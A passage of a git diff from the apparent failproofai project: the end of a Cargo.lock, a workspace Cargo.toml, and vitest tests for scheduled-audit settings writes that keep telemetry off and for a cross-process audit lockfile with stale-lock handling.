"registry+https://github.com/rust-lang/crates.io-index" +checksum = "0b928f33d975fc6ad9f86c8f283853ad26bdd5b10b7f1542aa2fa15e2289105a" + +[[package]] +name = "wait-timeout" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "09ac3b126d3914f9849036f826e054cbabdc8519970b8998ddaf3b5bd3c65f11" +dependencies = [ + "libc", +] + +[[package]] +name = "walkdir" +version = "2.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "29790946404f91d9c5d06f9874efddea1dc06c5efe94541a7d6863108e3a5e4b" +dependencies = [ + "same-file", + "winapi-util", +] + +[[package]] +name = "want" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bfa7760aed19e106de2c7c0b581b509f2f25d3dacaf737cb82ac61bc6d760b0e" +dependencies = [ + "try-lock", +] + +[[package]] +name = "wasi" +version = "0.11.1+wasi-snapshot-preview1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ccf3ec651a847eb01de73ccad15eb7d99f80485de043efb2f370cd654f4ea44b" + +[[package]] +name = "wasip2" +version = "1.0.4+wasi-0.2.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b67efb37e106e55ce722a510d6b5f9c17f083e5fc79afc2badeb12cc313d9487" +dependencies = [ + "wit-bindgen", +] + +[[package]] +name = "wasm-bindgen" +version = "0.2.126" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4b067c0c11094aef6b7a801c1e34a26affafdf3d051dba08456b868789aaf9a4" +dependencies = [ + "cfg-if", + "once_cell", + "rustversion", + "wasm-bindgen-macro", + "wasm-bindgen-shared", +] + +[[package]] +name = "wasm-bindgen-futures" +version = "0.4.76" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c62df1340f32221cb9c54d6a27b030e3dba64361d4a95bed55f9aacb44da291d" +dependencies = [ + "js-sys", + "wasm-bindgen", +] + +[[package]] +name = "wasm-bindgen-macro" +version = "0.2.126" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "167ce5e579f6bcf889c4f7175a8a5a585de84e8ff93976ce393efa5f2837aab1" +dependencies = [ + "quote", + "wasm-bindgen-macro-support", +] + +[[package]] +name = "wasm-bindgen-macro-support" +version = "0.2.126" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f3997c7839262f4ef12cf90b818d6340c18e80f263f1a94bf157d0ec4420380e" +dependencies = [ + "bumpalo", + "proc-macro2", + "quote", + "syn 2.0.119", + "wasm-bindgen-shared", +] + +[[package]] +name = "wasm-bindgen-shared" +version = "0.2.126" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dc1b4cb0cc549fcf58d7dfc081778139b3d283a081644e833e84682ad71cea24" +dependencies = [ + "unicode-ident", +] + +[[package]] +name = "web-sys" +version = "0.3.103" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8622dcb61c0bcc9fffa6938bed81210af2da9a7e4a1a834b2e37a59b6dfb6141" +dependencies = [ + "js-sys", + "wasm-bindgen", +] + +[[package]] +name = "web-time" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5a6580f308b1fad9207618087a65c04e7a10bc77e02c8e84e9b00dd4b12fa0bb" +dependencies = [ + "js-sys", + "wasm-bindgen", +] + +[[package]] +name = "webpki-roots" +version = "1.0.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7dcd9d09a39985f5344844e66b0c530a33843579125f23e21e9f0f220850f22a" +dependencies = [ + "rustls-pki-types", +] + +[[package]] +name = "winapi-util" +version = "0.1.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c2a7b1c03c876122aa43f3020e6c3c3ee5c05081c9a00739faf7503aeba10d22" +dependencies = [ + "windows-sys 0.61.2", +] + +[[package]] +name = "windows-link" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f0805222e57f7521d6a62e36fa9163bc891acd422f971defe97d64e70d0a4fe5" + +[[package]] +name = "windows-sys" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "282be5f36a8ce781fad8c8ae18fa3f9beff57ec1b52cb3de0789201425d9a33d" +dependencies = [ + "windows-targets 0.52.6", +] + +[[package]] +name = "windows-sys" +version = "0.60.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f2f500e4d28234f72040990ec9d39e3a6b950f9f22d3dba18416c35882612bcb" +dependencies = [ + "windows-targets 0.53.5", +] + +[[package]] +name = "windows-sys" +version = "0.61.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ae137229bcbd6cdf0f7b80a31df61766145077ddf49416a728b02cb3921ff3fc" +dependencies = [ + "windows-link", +] + +[[package]] +name = "windows-targets" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9b724f72796e036ab90c1021d4780d4d3d648aca59e491e6b98e725b84e99973" +dependencies = [ + "windows_aarch64_gnullvm 0.52.6", + "windows_aarch64_msvc 0.52.6", + "windows_i686_gnu 0.52.6", + "windows_i686_gnullvm 0.52.6", + "windows_i686_msvc 0.52.6", + "windows_x86_64_gnu 0.52.6", + "windows_x86_64_gnullvm 0.52.6", + "windows_x86_64_msvc 0.52.6", +] + +[[package]] +name = "windows-targets" +version = "0.53.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4945f9f551b88e0d65f3db0bc25c33b8acea4d9e41163edf90dcd0b19f9069f3" +dependencies = [ + "windows-link", + "windows_aarch64_gnullvm 0.53.1", + "windows_aarch64_msvc 0.53.1", + "windows_i686_gnu 0.53.1", + "windows_i686_gnullvm 0.53.1", + "windows_i686_msvc 0.53.1", + "windows_x86_64_gnu 0.53.1", + "windows_x86_64_gnullvm 0.53.1", + "windows_x86_64_msvc 0.53.1", +] + +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32a4622180e7a0ec044bb555404c800bc9fd9ec262ec147edd5989ccd0c02cd3" + +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.53.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a9d8416fa8b42f5c947f8482c43e7d89e73a173cead56d044f6a56104a6d1b53" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "09ec2a7bb152e2252b53fa7803150007879548bc709c039df7627cabbd05d469" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.53.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b9d782e804c2f632e395708e99a94275910eb9100b2114651e04744e9b125006" + +[[package]] +name = "windows_i686_gnu" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8e9b5ad5ab802e97eb8e295ac6720e509ee4c243f69d781394014ebfe8bbfa0b" + +[[package]] +name = "windows_i686_gnu" +version = "0.53.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "960e6da069d81e09becb0ca57a65220ddff016ff2d6af6a223cf372a506593a3" + +[[package]] +name = "windows_i686_gnullvm" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0eee52d38c090b3caa76c563b86c3a4bd71ef1a819287c19d586d7334ae8ed66" + +[[package]] +name = "windows_i686_gnullvm" +version = "0.53.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fa7359d10048f68ab8b09fa71c3daccfb0e9b559aed648a8f95469c27057180c" + +[[package]] +name = "windows_i686_msvc" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "240948bc05c5e7c6dabba28bf89d89ffce3e303022809e73deaefe4f6ec56c66" + +[[package]] +name = "windows_i686_msvc" +version = "0.53.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1e7ac75179f18232fe9c285163565a57ef8d3c89254a30685b57d83a38d326c2" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "147a5c80aabfbf0c7d901cb5895d1de30ef2907eb21fbbab29ca94c5b08b1a78" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.53.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9c3842cdd74a865a8066ab39c8a7a473c0778a3f29370b5fd6b4b9aa7df4a499" + +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "24d5b23dc417412679681396f2b49f3de8c1473deb516bd34410872eff51ed0d" + +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.53.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0ffa179e2d07eee8ad8f57493436566c7cc30ac536a3379fdf008f47f6bb7ae1" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "589f6da84c646204747d1270a2a5661ea66ed1cced2631d546fdfb155959f9ec" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.53.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d6bbff5f0aada427a1e5a6da5f1f98158182f26556f345ac9e04d36d0ebed650" + +[[package]] +name = "winnow" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "23b97319f7b8343df12cc98938e5c3eb436064524c8d2b4e30a1d3a36eecdf81" + +[[package]] +name = "wiremock" +version = "0.6.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "08db1edfb05d9b3c1542e521aea074442088292f00b5f28e435c714a98f85031" +dependencies = [ + "assert-json-diff", + "base64", + "deadpool", + "futures", + "http", + "http-body-util", + "hyper", + "hyper-util", + "log", + "once_cell", + "regex", + "serde", + "serde_json", + "tokio", + "url", +] + +[[package]] +name = "wit-bindgen" +version = "0.57.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1ebf944e87a7c253233ad6766e082e3cd714b5d03812acc24c318f549614536e" + +[[package]] +name = "writeable" +version = "0.6.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1ffae5123b2d3fc086436f8834ae3ab053a283cfac8fe0a0b8eaae044768a4c4" + +[[package]] +name = "yoke" +version = "0.8.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "709fe23a0424b6a435d82152b1bd3fdfb0833487d5fa90d05d42762a9891fef5" +dependencies = [ + "stable_deref_trait", + "yoke-derive", + "zerofrom", +] + +[[package]] +name = "yoke-derive" +version = "0.8.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "de844c262c8848816172cef550288e7dc6c7b7814b4ee56b3e1553f275f1858e" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.119", + "synstructure", +] + +[[package]] +name = "zerocopy" +version = "0.8.55" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b5a105cd7b140f6eeec8acff2ea38135d3cab283ada58540f629fe51e46696eb" +dependencies = [ + "zerocopy-derive", +] + +[[package]] +name = "zerocopy-derive" +version = "0.8.55" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0fe976fb70c78cd64cccfe3a6fc142244e8a77b70959b30faf9d0ac37ee228eb" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.119", +] + +[[package]] +name = "zerofrom" +version = "0.1.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0ec05a11813ea801ff6d75110ad09cd0824ddba17dfe17128ea0d5f68e6c5272" +dependencies = [ + "zerofrom-derive", +] + +[[package]] +name = "zerofrom-derive" +version = "0.1.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "11532158c46691caf0f2593ea8358fed6bbf68a0315e80aae9bd41fbade684a1" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.119", + "synstructure", +] + +[[package]] +name = "zeroize" +version = "1.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e13c156562582aa81c60cb29407084cdb54c4164760106ab78e6c5b0858cf64e" + +[[package]] +name = "zerotrie" +version = "0.2.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0f9152d31db0792fa83f70fb2f83148effb5c1f5b8c7686c3459e361d9bc20bf" +dependencies = [ + "displaydoc", + "yoke", + "zerofrom", +] + +[[package]] +name = "zerovec" +version = "0.11.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "90f911cbc359ab6af17377d242225f4d75119aec87ea711a880987b18cd7b239" +dependencies = [ + "yoke", + "zerofrom", + "zerovec-derive", +] + +[[package]] +name = "zerovec-derive" +version = "0.11.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "625dc425cab0dca6dc3c3319506e6593dcb08a9f387ea3b284dbd52a92c40555" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.119", +] + +[[package]] +name = "zmij" +version = "1.0.23" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "29666d0abbfad1e3dc4dcf6144730dd3a3ab225bbbdac83319345b1b44ccfc1b" diff --git a/Cargo.toml b/Cargo.toml new file mode 100644 index 00000000..de991404 --- /dev/null +++ b/Cargo.toml @@ -0,0 +1,9 @@ +[workspace] +resolver = "3" +members = ["crates/*"] + +[workspace.package] +version = "1.0.0-beta.11" +edition = "2024" +license-file = "LICENSE" +repository = "https://github.com/FailproofAI/failproofai" diff --git a/__tests__/actions/update-scheduled-audit.test.ts b/__tests__/actions/update-scheduled-audit.test.ts new file mode 100644 index 00000000..3a30cf8f --- /dev/null +++ b/__tests__/actions/update-scheduled-audit.test.ts @@ -0,0 +1,100 @@ +// @vitest-environment node +/** + * The /settings scheduled-audit write actions, and the one invariant that would + * be the worst bug in the whole feature: a settings write must never silently + * re-enable telemetry. + * + * `writeConfig` regenerates `config.toml` WHOLESALE and emits `[telemetry] + * enabled = false` ONLY when telemetry is off — a default install carries no + * `[telemetry]` block at all. So if a settings write ever dropped the field it + * read, an operator who had turned telemetry off would have it turned back on + * underneath them the next time they toggled a scan setting from the dashboard. + * `updateConfig` reads the current config first and re-writes every field, which + * is what keeps that from happening — these tests pin it, exercising the exact + * server actions the dashboard calls (not a reimplementation), so CLI/dashboard + * parity is real: both write through the same `updateConfig`. + */ +import { describe, it, expect, beforeEach, afterEach } from "vitest"; +import { mkdtempSync, readFileSync, rmSync, writeFileSync, mkdirSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { resolve } from "node:path"; +import { configFile } from "../../src/hooks/fp-home"; +import { readConfig, writeConfig } from "../../src/hooks/fp-config"; +import { + setAutoAuditAction, + setAuditIntervalAction, +} from "../../app/actions/update-scheduled-audit"; + +let home: string; +let prevHome: string | undefined; + +beforeEach(() => { + prevHome = process.env.FAILPROOFAI_HOME; + home = mkdtempSync(resolve(tmpdir(), "fpai-settings-write-")); + process.env.FAILPROOFAI_HOME = home; + mkdirSync(home, { recursive: true }); +}); + +afterEach(() => { + if (prevHome === undefined) delete process.env.FAILPROOFAI_HOME; + else process.env.FAILPROOFAI_HOME = prevHome; + rmSync(home, { recursive: true, force: true }); +}); + +describe("scheduled-audit write actions", () => { + it("setAutoAuditAction toggles [audit] auto and reflects what the config stored", async () => { + expect(readConfig().audit.auto).toBe(false); + const res = await setAutoAuditAction(true); + expect(res.auto).toBe(true); + expect(readConfig().audit.auto).toBe(true); + }); + + it("setAuditIntervalAction lets the config own the 1..90 clamp and returns the stored value", async () => { + // A hand-typed 3650 must come back as the 90 the config actually enforces — + // the action re-reads rather than trusting its own input, so there is no + // second copy of the bounds to drift from fp-config.readIntervalDays. + const clamped = await setAuditIntervalAction(3650); + expect(clamped.intervalDays).toBe(90); + expect(readConfig().audit.intervalDays).toBe(90); + + // 0 reads as "off" → falls back to the default, not the 1-day floor. + const zero = await setAuditIntervalAction(0); + expect(zero.intervalDays).toBe(7); + }); + + it("does NOT re-enable telemetry when a scan setting is written (the worst-bug guard)", async () => { + // Operator turned telemetry off. The on-disk marker is the ONLY record of + // that, and it exists only while telemetry is off. + const off = readConfig(); + off.telemetry.enabled = false; + writeConfig(off); + expect(readFileSync(configFile(), "utf8")).toContain("[telemetry]\nenabled = false"); + + // Now drive the dashboard's write paths. + await setAutoAuditAction(true); + await setAuditIntervalAction(14); + + // Telemetry is still off, in memory and on disk. A dropped field would have + // re-enabled it (absent [telemetry] block reads as enabled). + expect(readConfig().telemetry.enabled).toBe(false); + expect(readFileSync(configFile(), "utf8")).toContain("[telemetry]\nenabled = false"); + // And the audit write actually landed alongside it. + expect(readConfig().audit).toEqual({ auto: true, intervalDays: 14 }); + }); + + it("preserves an unrelated cloud/collector setting across a scan write", async () => { + // The same whole-file-regeneration risk for any other field a settings write + // does not touch: a machine_id the identity work stamped, say. + const c = readConfig(); + c.mode = "cloud"; + c.collector.machineId = "machine-abc"; + writeConfig(c); + + await setAutoAuditAction(true); + + const after = readConfig(); + expect(after.mode).toBe("cloud"); + expect(after.collector.machineId).toBe("machine-abc"); + expect(after.audit.auto).toBe(true); + }); +}); diff --git a/__tests__/api/audit-run-route.test.ts b/__tests__/api/audit-run-route.test.ts index 01dee652..10c91805 100644 --- a/__tests__/api/audit-run-route.test.ts +++ b/__tests__/api/audit-run-route.test.ts @@ -5,15 +5,30 @@ import type { NextRequest } from "next/server"; // Mock the heavy audit modules so the route is exercised in isolation: runAudit // is replaced with a controllable promise, the cache write is a no-op, and the // telemetry channel is a spy so we can assert the dashboard run funnel. -const { runAuditMock, writeCacheMock, trackEventMock, initTelemetryMock } = vi.hoisted(() => ({ +const { + runAuditMock, + writeCacheMock, + trackEventMock, + initTelemetryMock, + acquireAuditLockMock, + releaseSpy, +} = vi.hoisted(() => ({ runAuditMock: vi.fn(), writeCacheMock: vi.fn(), trackEventMock: vi.fn(), initTelemetryMock: vi.fn(async () => {}), + acquireAuditLockMock: vi.fn(), + releaseSpy: vi.fn(), })); vi.mock("@/src/audit", () => ({ runAudit: runAuditMock })); vi.mock("@/src/audit/dashboard-cache", () => ({ writeDashboardCache: writeCacheMock })); vi.mock("@/lib/telemetry", () => ({ initTelemetry: initTelemetryMock, trackEvent: trackEventMock })); +// The route now also takes the cross-process audit lock. Mock it so the route +// is exercised in isolation — the real acquire writes to ~/.failproofai/run and +// installs a process-exit handler, neither of which belongs in a unit test (the +// lock's own semantics are covered by __tests__/audit/audit-lock.test.ts). The +// default grants the lock; a test overrides it to simulate a foreign holder. +vi.mock("@/src/audit/audit-lock", () => ({ acquireAuditLock: acquireAuditLockMock })); import { POST } from "@/app/api/audit/run/route"; import { getRunState, releaseRun } from "@/app/api/audit/_state"; @@ -47,6 +62,15 @@ describe("POST /api/audit/run (fire-and-forget)", () => { writeCacheMock.mockReset(); trackEventMock.mockReset(); initTelemetryMock.mockClear(); + releaseSpy.mockReset(); + // Default: the cross-process lock is free and this run gets it. A handle + // whose release() is a spy so we can assert it fires exactly when the scan + // settles. + acquireAuditLockMock.mockReset(); + acquireAuditLockMock.mockReturnValue({ + ok: true, + lock: { info: { pid: process.pid, startedAt: Date.now(), source: "dashboard" }, release: releaseSpy }, + }); }); afterEach(() => releaseRun()); @@ -64,6 +88,33 @@ describe("POST /api/audit/run (fire-and-forget)", () => { expect(trackedNames()).toContain("audit_run_started"); }); + it("409s WITHOUT starting a run when the cross-process lock is held elsewhere, and frees the in-memory lock", async () => { + // A scheduled daemon child or a `failproofai audit` in another process holds + // the shared cache lock. The dashboard must NOT co-write that cache — it + // backs out and reports "already running" (information, not an error), and + // crucially must release the in-memory lock it took first, or the next POST + // would be wedged behind a run that never started. + acquireAuditLockMock.mockReturnValue({ + ok: false, + heldBy: { pid: 999999, startedAt: Date.now(), source: "scheduled" }, + }); + + const res = await POST(req("{}")); + + expect(res.status).toBe(409); + await expect(res.json()).resolves.toEqual( + expect.objectContaining({ status: "already-running" }), + ); + expect(runAuditMock).not.toHaveBeenCalled(); + expect(getRunState().running).toBe(false); // in-memory lock backed out + expect(trackEventMock).toHaveBeenCalledWith( + "audit_run_rejected", + expect.objectContaining({ reason: "cross_process_lock" }), + ); + // A run that never started must not have started the funnel either. + expect(trackedNames()).not.toContain("audit_run_started"); + }); + it("409s a second concurrent run and tracks audit_run_rejected(already_running)", async () => { runAuditMock.mockImplementation(() => new Promise(() => {})); @@ -94,6 +145,9 @@ describe("POST /api/audit/run (fire-and-forget)", () => { expect(s.running).toBe(false); expect(s.error).toBe("scan blew up"); expect(writeCacheMock).not.toHaveBeenCalled(); + // The cross-process lock is released even when the detached run throws, or a + // failed scan would lock every other writer out for up to an hour. + expect(releaseSpy).toHaveBeenCalledTimes(1); expect(trackedNames()).toContain("audit_run_failed"); expect(trackEventMock).toHaveBeenCalledWith( "audit_run_failed", @@ -115,6 +169,8 @@ describe("POST /api/audit/run (fire-and-forget)", () => { expect(writeCacheMock).toHaveBeenCalledTimes(1); expect(getRunState()).toMatchObject({ running: false, error: null }); + // Lock released on the success path too — held only for the scan's duration. + expect(releaseSpy).toHaveBeenCalledTimes(1); expect(trackEventMock).toHaveBeenCalledWith( "audit_run_completed", expect.objectContaining({ diff --git a/__tests__/audit/audit-cli-telemetry.test.ts b/__tests__/audit/audit-cli-telemetry.test.ts index 06a15be3..8039c7bc 100644 --- a/__tests__/audit/audit-cli-telemetry.test.ts +++ b/__tests__/audit/audit-cli-telemetry.test.ts @@ -13,6 +13,9 @@ * event's promise has resolved. */ import { describe, it, expect, vi, beforeEach, afterEach } from "vitest"; +import { mkdtempSync, rmSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { resolve } from "node:path"; import type { AuditResult } from "../../src/audit/types"; const resolvedEvents = new Set(); @@ -50,8 +53,18 @@ function result(over: Partial): AuditResult { } let exitInfo: { code: number | undefined; resolvedAtExit: Set } | null; +let home: string; +let prevHome: string | undefined; beforeEach(() => { + // A fresh home per test, because runAuditCli now takes a real cross-process + // lock under `run/`. Without this the suite would plant lockfiles in the + // developer's own ~/.failproofai — and the mocked process.exit throws instead + // of exiting, so the handle's exit hook never fires and one leaked lock would + // make every later test in the file lose the lock and report nothing. + prevHome = process.env.FAILPROOFAI_HOME; + home = mkdtempSync(resolve(tmpdir(), "fpai-audit-cli-")); + process.env.FAILPROOFAI_HOME = home; vi.clearAllMocks(); resolvedEvents.clear(); exitInfo = null; @@ -79,6 +92,9 @@ beforeEach(() => { afterEach(() => { vi.restoreAllMocks(); + if (prevHome === undefined) delete process.env.FAILPROOFAI_HOME; + else process.env.FAILPROOFAI_HOME = prevHome; + rmSync(home, { recursive: true, force: true }); }); const names = () => h.trackHookEvent.mock.calls.map((c) => c[1] as string); diff --git a/__tests__/audit/audit-lock.test.ts b/__tests__/audit/audit-lock.test.ts new file mode 100644 index 00000000..ff6fb385 --- /dev/null +++ b/__tests__/audit/audit-lock.test.ts @@ -0,0 +1,250 @@ +// @vitest-environment node +/** + * The cross-process audit lock. + * + * What it is guarding: a scheduled run, `failproofai audit` and the dashboard's + * re-run are three separate processes that all write the same sha1-keyed + * per-transcript cache files and the same single-slot dashboard cache. The only + * lock before this lived inside the Next.js server and was invisible to the + * other two. + * + * The two stale rules get their own tests because they fail in opposite + * directions: too eager and it steals from a live 104-second scan, too shy and + * one Ctrl+C wedges every audit on the machine for an hour. + */ +import { describe, it, expect, beforeEach, afterEach } from "vitest"; +import { spawnSync } from "node:child_process"; +import { + existsSync, + mkdirSync, + mkdtempSync, + readFileSync, + readdirSync, + rmSync, + statSync, + writeFileSync, +} from "node:fs"; +import { tmpdir } from "node:os"; +import { resolve } from "node:path"; +import { auditLockFile, runDir } from "../../src/hooks/fp-home"; +import { + AUDIT_LOCK_MAX_AGE_MS, + acquireAuditLock, + readAuditLock, + readActiveAuditLock, + type AuditLockInfo, +} from "../../src/audit/audit-lock"; + +let home: string; +let prevHome: string | undefined; + +beforeEach(() => { + prevHome = process.env.FAILPROOFAI_HOME; + home = mkdtempSync(resolve(tmpdir(), "fpai-auditlock-")); + process.env.FAILPROOFAI_HOME = home; +}); + +afterEach(() => { + if (prevHome === undefined) delete process.env.FAILPROOFAI_HOME; + else process.env.FAILPROOFAI_HOME = prevHome; + rmSync(home, { recursive: true, force: true }); +}); + +/** A pid that definitely belonged to a process and definitely does not now. */ +function deadPid(): number { + const { pid } = spawnSync(process.execPath, ["-e", ""]); + if (!pid) throw new Error("could not spawn a throwaway process"); + return pid; +} + +/** Plant a lock as if another process had left it there. */ +function writeRawLock(info: Partial | string): void { + mkdirSync(runDir(), { recursive: true, mode: 0o700 }); + writeFileSync(auditLockFile(), typeof info === "string" ? info : JSON.stringify(info)); +} + +describe("acquireAuditLock", () => { + it("creates the lockfile naming this process", () => { + const attempt = acquireAuditLock("cli"); + expect(attempt.ok).toBe(true); + expect(readAuditLock()).toMatchObject({ pid: process.pid, source: "cli" }); + expect(existsSync(auditLockFile())).toBe(true); + }); + + it("creates run/ at 0700 so the daemon can still start", () => { + // failproofaid's ensure_run_dir() REFUSES to start when run/ exists with any + // other mode, and a daemon-configured machine that cannot start its daemon + // denies every tool call across all 12 CLIs. + acquireAuditLock("cli"); + expect(statSync(runDir()).mode & 0o777).toBe(0o700); + }); + + it("refuses a second acquire and names the holder", () => { + const first = acquireAuditLock("scheduled"); + expect(first.ok).toBe(true); + + const second = acquireAuditLock("cli"); + expect(second.ok).toBe(false); + if (!second.ok) { + expect(second.heldBy).toMatchObject({ pid: process.pid, source: "scheduled" }); + } + }); + + it("does NOT steal a lock held by a live process inside the age ceiling", () => { + // Our own pid is alive by construction, so only the age rule could apply. + writeRawLock({ pid: process.pid, startedAt: Date.now() - AUDIT_LOCK_MAX_AGE_MS + 60_000, source: "cli" }); + expect(acquireAuditLock("scheduled").ok).toBe(false); + }); + + it("steals a lock whose pid is gone", () => { + // Ctrl+C, SIGKILL, a closed lid: the file is on disk and the process is not. + // The exit hook cannot cover the signal case, so this rule has to. + writeRawLock({ pid: deadPid(), startedAt: Date.now(), source: "cli" }); + + const attempt = acquireAuditLock("scheduled"); + expect(attempt.ok).toBe(true); + expect(readAuditLock()).toMatchObject({ pid: process.pid, source: "scheduled" }); + }); + + it("steals a lock older than the ceiling even when its pid is alive", () => { + // The backstop for what a pid check cannot see: a recycled pid, or a lock + // written by another machine sharing this home. + writeRawLock({ pid: process.pid, startedAt: Date.now() - AUDIT_LOCK_MAX_AGE_MS - 1_000, source: "dashboard" }); + + const attempt = acquireAuditLock("cli"); + expect(attempt.ok).toBe(true); + expect(readAuditLock()).toMatchObject({ pid: process.pid, source: "cli" }); + }); + + it("steals an unreadable lock", () => { + // A truncated write or a shape from another version names no holder we + // could ever wait for. + writeRawLock("{ not json"); + expect(acquireAuditLock("cli").ok).toBe(true); + expect(readAuditLock()).toMatchObject({ pid: process.pid }); + }); + + it("treats a startedAt in the future as fresh, not as stale", () => { + // Clock skew must not become a licence to steal from a running scan. + writeRawLock({ pid: process.pid, startedAt: Date.now() + 86_400_000, source: "cli" }); + expect(acquireAuditLock("scheduled").ok).toBe(false); + }); + + it("publishes a lock that already parses, and leaves nothing else in run/", () => { + // The lock is staged and link()ed into place rather than created empty and + // then written, because a competitor that reads the file in the window + // between those two syscalls sees an unreadable lock — which isStale() + // correctly calls abandoned — and steals it from a holder that is + // mid-acquire. The staging file must not outlive the acquire either: run/ + // is the daemon's directory, not a scratch pad. + const attempt = acquireAuditLock("cli"); + expect(attempt.ok).toBe(true); + expect(readAuditLock()).toMatchObject({ pid: process.pid, source: "cli" }); + expect(readdirSync(runDir())).toEqual(["audit.lock"]); + }); + + it("leaves nothing behind in run/ when it loses the lock", () => { + writeRawLock({ pid: process.pid, startedAt: Date.now(), source: "scheduled" }); + expect(acquireAuditLock("cli").ok).toBe(false); + expect(readdirSync(runDir())).toEqual(["audit.lock"]); + }); + + it("never throws when the lock directory cannot be created", () => { + // A file where run/ should be. The answer has to be "someone else has it", + // never an exception out of the thing that decides whether to run. + process.env.FAILPROOFAI_HOME = resolve(home, "blocked"); + writeFileSync(resolve(home, "blocked"), ""); + const attempt = acquireAuditLock("cli"); + expect(attempt.ok).toBe(false); + }); +}); + +describe("release", () => { + it("frees the lock for the next process", () => { + const first = acquireAuditLock("cli"); + if (!first.ok) throw new Error("expected the lock"); + first.lock.release(); + + expect(existsSync(auditLockFile())).toBe(false); + expect(acquireAuditLock("scheduled").ok).toBe(true); + }); + + it("is idempotent", () => { + const first = acquireAuditLock("cli"); + if (!first.ok) throw new Error("expected the lock"); + first.lock.release(); + const second = acquireAuditLock("scheduled"); + first.lock.release(); // second call must be a no-op, not a steal + + expect(second.ok).toBe(true); + expect(readAuditLock()).toMatchObject({ source: "scheduled" }); + }); + + it("also fires on process exit, which a `finally` would miss", () => { + // `failproofai audit` calls process.exit() directly on both its failure and + // its empty-history path, and process.exit does not unwind — so the exit + // hook is the only thing standing between those paths and a lock nobody + // frees for an hour. + const attempt = acquireAuditLock("cli"); + expect(attempt.ok).toBe(true); + + process.emit("exit", 0); + + expect(existsSync(auditLockFile())).toBe(false); + }); + + it("never removes a lock another process now owns", () => { + // The window after a steal: the file on disk can already belong to a third + // process, and deleting it would hand a live audit the co-writer this + // module exists to prevent. + const first = acquireAuditLock("cli"); + if (!first.ok) throw new Error("expected the lock"); + writeRawLock({ pid: process.pid + 1, startedAt: Date.now(), source: "dashboard" }); + + first.lock.release(); + + expect(existsSync(auditLockFile())).toBe(true); + expect(JSON.parse(readFileSync(auditLockFile(), "utf8")).source).toBe("dashboard"); + }); +}); + +describe("readActiveAuditLock", () => { + // The status/UI read: /api/audit/status folds this in so the settings page and + // the /audit poller answer "is a scan running on this MACHINE", including a + // scheduled daemon child in another process. It must apply the SAME staleness + // rules acquire uses, or a crashed run's leftover lockfile would report the + // machine as forever busy — and it must never steal, since it runs from a + // 